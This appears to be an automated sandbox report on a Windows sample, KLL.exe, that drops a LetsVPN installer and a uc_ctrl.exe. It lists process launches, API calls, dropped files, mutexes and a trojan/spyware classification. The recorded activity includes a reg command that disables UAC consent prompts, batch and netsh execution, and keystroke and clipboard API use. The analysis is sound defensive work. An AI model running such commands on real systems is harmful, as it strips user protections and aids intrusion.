Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4562462254.0000000030715000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4549763803.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://widget.intercom.io/widget/
Source: KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: LetsPRO.exe, 00000048.00000002.2677666838.00000000031A9000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.000000000319A000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cnblogs.com/kliine/p/10950992.html
Source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CED9FA0 ?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z,MessageBoxA,

16_2_6CED9FA0

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CF06945 GetPropW,GlobalLock,SendMessageW,GlobalUnlock,RemovePropW,GlobalFree,GlobalUnlock,GetAsyncKeyState,SendMessageW,

16_2_6CF06945

Source: C:\Windows\System32\mmc.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mmc.exe	Window created: window name: CLIPBRDWNDCLASS

Source: LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp

Binary or memory string: is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-------------- 0601021504Z0700114.114.114.114126.255.255.254169.254.255.255191.255.255.254223.255.255.254255.255.255.248476837158203125: cannot parse : no frame (sp=; SameSite=None<invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAccount-ExpiredAccount-TimeoutAddDllDirectoryAddMandatoryAceAreFileApisANSIBP_BUFFERFORMATBackupEventLogWCLSIDFromStringCOLORADJUSTMENTCOMPOSITIONFORMCRYPTOAPI_BLOB_CRYPT_ATTRIBUTECRYPT_ATTR_BLOBCRYPT_DATA_BLOBCRYPT_HASH_BLOBCallWindowProcWClientAuthType(CoInitializeWOWColorAdjustLumaCompareFileTimeControl_RunDLLWCreateDataCacheCreateErrorInfoCreateHardLinkWCreateMailslotWCreateMetaFileWCreatePopupMenuCreateToolbarExCreateWindowExWCryptCreateHashCryptDestroyKeyCryptGetUserKeyCryptMemReallocCryptMsgControlDAD_DragEnterExDESKTOPENUMPROCDdeGetLastErrorDdeQueryStringWDdeUnaccessDataDdeUninitializeDefRawInputProcDefSubclassProcDeleteIPAddressDestinationAddrDeviceIoControlDialogBoxParamWDlgDirSelectExWDnsPolicyConfigDownload-FailedDragAcceptFilesDrawMenuBarTempDrawStatusTextWDrawThemeTextExDuplicateHandleECDSAP256SHA256ECDSAP384SHA384ENG_TIME_FIELDSENUMLOGFONTEXDVENUMRESLANGPROCEXPLICIT_ACCESSEmptyWorkingSetEnableScrollBarEngCreateBitmapEngEraseSurfaceEngFindResourceEngGradientFillEnumEnhMetaFileExcludeClipRectExtCreateRegionFailed to find Failed to load FindExecutableWFindNextStreamWFindNextVolumeWFindResourceExWFindVolumeCloseFlush dns cacheFlushIpNetTableFlushViewOfFileFreeAddrInfoExWGENERIC_MAPPINGGateway TimeoutGdiGradientFillGdiIsMetaFileDCGetActiveWindowGetAdapterIndexGetAdaptersInfoGetArcDirectionGetCharWidth32WGetClassInfoExWGetComboBoxInfoGetCommTimeoutsGetCommandLineWGetDCBrushColorGetDateFormatExGetDlgItemTextWGetEnhMetaFileWGetGraphicsModeGetGuiResourcesGetIpStatisticsGetKeyNameTextWGetKeyboardTypeGetLocaleInfoExGetMailslotInfoGetMenuItemRectGetMonitorInfoWGetNearestColorGetPolyFillModeGetProcessHeapsGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTapePositionGetTextMetricsWGetThemeIntListGetThemeMarginsGetThemeSysBoolGetThemeSysFontGetThemeSysSizeGetThreadLocaleGetTimeFormatExGetTitleBarInfoGetTrusteeFormWGetTrusteeNameWGetTrusteeTypeWGetWindowRgnBoxGlobalFindAtomWHanifi_RohingyaHasIPPacketInfoHost-Block-ListHost-Local-ListICreateTypeLib2IMEMENUITEMINFOIO_STATUS_BLOCKIP-Country-ListIP-Queue-LengthIP_ADAPTER_INFOIPersistStorageIShellItemArrayI_CryptAllocTlsI_RpcFreeBufferIcmp6CreateFileIcmpCloseHandleIcmpSendEcho2ExIdempotency-KeyImageList_MergeImageList_WriteImmIsUIMessageWImpersonateSelfInSendMessageExInitMUILanguageInsertMenuItemWIsBadStringPtrWIsHungAppWindowIsValidCodePageIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2K32GetWsChangesKillSystemTimerLPCONDITIONPROCLPENUMFORMATETCLPFNDFMCALLBACKLPLOGCOLORSPACELPMESSAGEFILTERLPOLECLIENTSITELPPAGEPAINTHOOKLPPAGESETUPHOOKLPPRINTHOOKPROCLPSETUPHOOKPROCLPSHQUERYRBINFOLPWSAOVERLAPPEDLWBTBVCITWI2025Length RequiredLoadLibraryExA

memstr_550143a2-1

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CF12C80 MessageBeep,SendMessageW,SendMessageW,SendMessageW,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,		16_2_6CF12C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CEF99B8 GetKeyState,GetKeyState,GetKeyState,SendMessageW,		16_2_6CEF99B8

Source: Yara match	File source: 52.2.LetsPRO.exe.684f0000.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: LetsPRO.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, type: DROPPED

Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\tap0901.cat (copy)	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7AF4.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tap0901.cat	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET7900.tmp	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.cat (copy)	Jump to dropped file

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Process Stats: CPU usage > 49%

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CED0090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,

16_2_6CED0090

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Source: C:\Windows\System32\drvinst.exe

File created: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\drvstore.tmp
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\inf\oem4.inf
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SET81E9.tmp
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SET81E9.tmp

Source: C:\Windows\System32\drvinst.exe

File deleted: C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7AD4.tmp

Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800060F0	0_2_00000001800060F0
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180017B6C	0_2_0000000180017B6C
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180023430	0_2_0000000180023430
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800044D4	0_2_00000001800044D4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800075B4	0_2_00000001800075B4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018000A068	0_2_000000018000A068
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001F0F4	0_2_000000018001F0F4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018002A914	0_2_000000018002A914
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180027938	0_2_0000000180027938
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180019A4C	0_2_0000000180019A4C
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001A25C	0_2_000000018001A25C
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180004358	0_2_0000000180004358
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180026368	0_2_0000000180026368
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001D418	0_2_000000018001D418
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180019570	0_2_0000000180019570
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018002CDB0	0_2_000000018002CDB0
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180017EAC	0_2_0000000180017EAC
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800296F4	0_2_00000001800296F4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180026790	0_2_0000000180026790
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018000B7E0	0_2_000000018000B7E0
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_00B31870	16_2_00B31870
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED0090	16_2_6CED0090
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CF52D52	16_2_6CF52D52
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D024943	16_2_6D024943
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D028203	16_2_6D028203
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CF19F03	16_2_6CF19F03
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198F1C	16_2_6D198F1C
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198F24	16_2_6D198F24
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198E5C	16_2_6D198E5C
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198EB8	16_2_6D198EB8
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D19EA18	16_2_6D19EA18

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\letsvpn\Update.exe 677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC

Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Process token adjusted: Load Driver

Source: C:\Windows\System32\svchost.exe

Process token adjusted: Security

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D021CD0 appears 41 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6CEE9160 appears 3082 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D0214D2 appears 41 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D021BF0 appears 56 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D1CB723 appears 42 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D021BBC appears 209 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D1CB75A appears 71 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6D1CB6EF appears 75 times
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: String function: 6CEF062D appears 44 times

Source: System.Globalization.Extensions.dll.19.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: s.0.dr

Static PE information: No import functions for PE file found

Source: s.0.dr

Static PE information: Data appended to the last section found

Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe
Source: KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F

Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: directoryInfo.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: fileInfo.SetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: fileStream.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: fileInfo.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: directoryInfo.SetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.19.dr, FileSystemAclExtensions.cs	Security API names: fileStream.SetAccessControl

Source: classification engine

Classification label: mal60.spre.troj.spyw.evad.winEXE@101/287@12/10

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180004BFC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,Sleep,SleepEx,CloseHandle,FindCloseChangeNotification,

0_2_0000000180004BFC

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6D1A6CA0 _Statvfs,GetDiskFreeSpaceExW,

16_2_6D1A6CA0

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_00B33840 CreateToolhelp32Snapshot,Process32FirstW,_wcslwr_s,wcsstr,Process32NextW,

16_2_00B33840

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00000001800044D4 CoInitialize,CoImpersonateClient,CoInitializeSecurity,CLSIDFromProgID,CoCreateInstance,VariantInit,VariantInit,VariantInit,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantClear,CoUninitialize,

0_2_00000001800044D4

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_00B36290 LoadResource,LockResource,SizeofResource,

16_2_00B36290

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn

Source: C:\Users\user\Desktop\KLL.exe

File created: C:\Users\user\AppData\Roaming\B7508.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4984:120:WilError_03
Source: C:\Windows\System32\drvinst.exe	Mutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4956:120:WilError_03
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Mutant created: \Sessions\1\BaseNamedObjects\C__Program Files (x86)_letsvpn_app-3.7.0_Log_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4696:120:WilError_03
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Mutant created: \Sessions\1\BaseNamedObjects\V 4 I
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3836:120:WilError_03
Source: C:\Users\user\Desktop\KLL.exe	Mutant created: \Sessions\1\BaseNamedObjects\V? 5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6360:120:WilError_03
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\MSDTC_STATS_EVENT

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Users\user\AppData\Local\Temp\nse2FB2.tmp

Source: C:\Users\user\Desktop\KLL.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat"

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: ..\data\skins\	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: skin.xml	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: SKINDATA	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: SkinRes.dll	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: uc.ini	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: root_data_path	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: language	16_2_00B36C80
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Command line argument: ..\language\	16_2_00B36C80

Source: KLL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor

Source: C:\Users\user\Desktop\KLL.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\KLL.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: KLL.exe	ReversingLabs: Detection: 31%
Source: KLL.exe	Virustotal: Detection: 32%

Source: unknown	Process created: C:\Users\user\Desktop\KLL.exe "C:\Users\user\Desktop\KLL.exe"
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
